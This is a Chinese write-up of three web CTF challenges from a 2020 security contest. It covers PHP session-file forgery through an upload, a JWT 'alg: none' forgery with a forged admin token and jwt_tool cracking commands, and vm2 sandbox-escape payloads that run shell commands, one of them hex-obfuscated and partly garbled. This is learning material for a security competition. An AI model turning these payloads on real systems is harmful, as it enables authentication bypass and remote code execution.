2020数字中国创新大赛-虎符网络安全赛道丨Web Writeup

2020-05-08 13,660

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本文是参加2020数字中国创新大赛-虎符网络安全赛道线上初赛的个人赛后总结,关于Web的Writeup记录,感兴趣的小伙伴快来学习吧。


1、hash_file — 是使用给定文件的内容生成哈希值,和文件名称无关。

2、jwt令牌结构和jwt_tools的使用。

3、nodejs沙箱溢出进行Getshell。


正 文


Web 1 BabyUpload

直接贴出源码

<?phperror_reporting(0);
session_save_path("/var/babyctf/");
session_start();require_once "/flag";
highlight_file(__FILE__);if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';if(file_exists($filename)){
        safe_delete($filename);
        die($flag);
}
}else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}if($direction === "upload"){try{
    if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
        throw new RuntimeException('invalid upload');
    }
    $file_path = $dir_path."/".$_FILES['up_file']['name'];
    $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
    if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
        throw new RuntimeException('invalid file path');
    }
    @mkdir($dir_path, 0700, TRUE);
    if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
        $upload_result = "uploaded";
    }else{
        throw new RuntimeException('error while saving');
    }
} catch (RuntimeException $e) {
    $upload_result = $e->getMessage();
}
} elseif ($direction === "download") {try{
    $filename = basename(filter_input(INPUT_POST, 'filename'));
    $file_path = $dir_path."/".$filename;
    if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
        throw new RuntimeException('invalid file path');
    }
    if(!file_exists($file_path)) {
        throw new RuntimeException('file not exist');
    }
    header('Content-Type: application/force-download');
    header('Content-Length: '.filesize($file_path));    header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
    if(readfile($file_path)){
        $download_result = "downloaded";
    }else{
        throw new RuntimeException('error while saving');
    }
} catch (Run![](https://xzfile.aliyuncs.com/media/upload/picture/20200422224456-d5ccdef2-84a7-1.png)timeException $e) {    $download_result = $e->getMessage();
}exit;
}?>

题目大概的逻辑就是先将session存储在/var/babyctf/中,如果session['username']==='admin',并且file_exists('/var/babyctf/success.txt')存在,则会显出flag了,注意这里是file_exist函数。

等于说是检查有没有这个路径或者文件,这里为后面做了铺垫。接下来就是提供了上传和下载两个功能,这里存在一处暗示性的代码:

 $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

因为我们知道,session默认的存储名称为sess_XXXXX(为PHPSESSID的值),那么我们先结合download来看一下自己的session,因为服务器端存储的session内容以及格式我们并不知道,查看一下自己的PHPSESSID对应的session。

1.jpg


这里session内容的格式具有一定的迷惑性,查看hex发现前面还藏了个0x08的不可见字符,我们如果想要构造时也需要修改第一个字符为不可见的0x08,有下载也有上传,而且需要session['username']===admin,因此我们应该需要构造并且上传一个session,并且知道其对应的PHPSSEID,再回到暗示性代码上:

文件路径为/var/babyctf/filename_xxxxxx(此处我们知道上传的内容,因此这部分可控)因此我们如果将filename设为sess,那不就直接成为session文件了吗,再利用得到的xxxxx替换原来的PHPSESSID,这样就能die出flag了。


步骤一:构造sess文件

sess文件的内容直接将guest改为admin即可,但注意需要用winhex将第一个字符改成0x08。

2.jpg


步骤二:构造上传表单,并且设置direction为uplaod,attr置空即可。

<html><head>    <title></title></head><body>    <form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">        <input type="text" name="attr" />        <br>        <input type="text" name="direction" />        <br>        <input type="file" name="upload_file" />        <br>        <input type="submit" /></body></html>

将sess上传:

3.jpg


我们可以根据上述download一样,查看一下是否已经成功上传了sess_xxxx文件。

步骤三:根据hash_file构造的文件(即PHPSESSID值)进行替换原来的PHPSESSID得到flag。

4.jpg


Web 2 EasyLogin

直接给登录框了,首先进行万能密码和扫描目录的尝试,没有收获,接下来F12查看源代码,发现/static/js/app.js,果然存在,贴下源码:

const Koa = require('koa');const bodyParser = require('koa-bodyparser');const session = require('koa-session');const static = require('koa-static');const views = require('koa-views');const crypto = require('crypto');const { resolve } = require('path');const rest = require('./rest');const controller = require('./controller');const PORT = 3000;const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));// parse request body:app.use(bodyParser());// prepare restful serviceapp.use(rest.restify());// add controllers:app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

可知还存在rest.js和controller.js,看这两个又能发现/controllers/api.js,贴一下关键的代码:

const crypto = require('crypto');const fs = require('fs')const jwt = require('jsonwebtoken')const APIError = require('../rest').APIError;module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

这就涉及到知识盲区了,后来复现发现是jwt的相关知识,在这里整理一下:

JSON Web令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔,分别是:

  • 头部(Header)

  • 有效载荷(Payload)

  • 签名(Signature)

因此,JWT通常形式是xxxxx.yyyyy.zzzzz。


头部(Header)

头部用于描述关于该JWT的最基本的信息,通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法。

例如:

{"alg": "HS256","typ": "JWT"}

然后,此JSON被Base64Url编码以形成JWT的第一部分。


有效载荷(Payload)

令牌的第二部分是载荷,放置了 token 的一些基本信息,以帮助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息,用户信息交换。

载荷示例可能是:

{"sub": "1234567890","name": "John Doe","admin": true}

然后,对载荷进行Base64Url编码,以形成JSON Web令牌的第二部分。


签名(Signature)

要创建签名部分,您必须获取编码的头部,编码的有效载荷,密钥,头部中指定的算法,并对其进行签名。

例如,如果要使用HMAC SHA256算法,则将通过以下方式创建签名:

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

签名用于验证消息在整个过程中没有更改,并且对于使用私钥进行签名的令牌,它还可以验证JWT的发送者是它所说的真实身份。

但是在这里却存在个问题,const secret = global.secrets[sid];这里通过全局变量设置了一个secret并作为密钥进行签名,而签名算法保证了JWT在传输的过程中不被恶意用户修改但是header中的alg字段可被修改为none,一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验。

但是签名不是我们能够直接控制的,但是sid我们是可以控制的,如果在这里我们将sid设置为0.1,可以成功满足条件并绕过,使得secret是不存在的,也就是null。这里就能直接使用jwt_tools进行生成。

而我们知道有关jwt token的攻击方法其实分为三种:

1、将签名算法改为none

2、将RS256算法改为HS256(非对称密码算法=>对称密码算法)

  • HS256算法使用密钥为所有消息进行签名和验证。

  • 而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

  • 如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

  • 由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

3、破解HS256(对称加密算法)密钥

这里说明一下jwt-tools的用法


破解密钥(HMAC算法)

 python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

尝试使用“无”算法来创建未验证的令牌:

python3 jwt_tool.py JWT_HERE -A

我们可以交互方式篡改标头,有效负载和签名:

$python3 jwt_tool.py JWT_HERE(jwt token) -T

5.jpg

得到jwt

token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0

6.jpg


只需要修改有效负载,然后最后将标头alg设为none,就会得到篡改后的jwt token,此时服务器也不会使用签名校验,这样就成功伪造admin,就能调用api/getflag( ),得到flag。


Web 3 JustEscape

这个题移花接木,得到run.php后告诉你:

<?phpif( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}?>

随便输个函数却给我返回SyntaxError,欺负我没学过JS。不过结合前文提示,确实不是PHP,而是nodejs写的,这就涉及到知识盲区了,没错全是知识盲区。复现后才知道,原来nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道题和这个题类似。


解法1

这里我们需要知道加载的模块,根据google hack学到的,code=Error( ).stack

7.jpg


的确是设置了vm的模块,直接去github上找vm2有的issues,然后试试。找到了几个,payload一打过去,全给我搞出键盘,类比python沙箱逃逸,应该也是ban了一些函数,和其他大佬讨论发现既然是禁函数,那如果我code设置为数组,不是就可以绕过禁函数了吗?

接下来直接开找,issues上是breakout的应该都是能逃逸的payload,结果发现:

8.jpg

说是非法return,那就删掉return试试,发现能够成功逃逸,实现RCE。最后flag在根目录下,直接读取即可。

payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}


解法2

类比python的沙箱逃逸,如果一些进制转换的函数没有被禁止,我们应该是可以通过一些拼接来得到一些命令,还是能够绕过实行RCE。这里学习了其他大佬的解法,发现可以通过十六进制编码来进行关键字绕过:

即将一些关键字来进行16进制编码:(vm2仓库下的issues里面将关键字编码成16进制

payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()

注:以上是个人关于本次比赛的一些解题思路,欢迎交流补充。

本文作者:i春秋聚集地

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/129860.html

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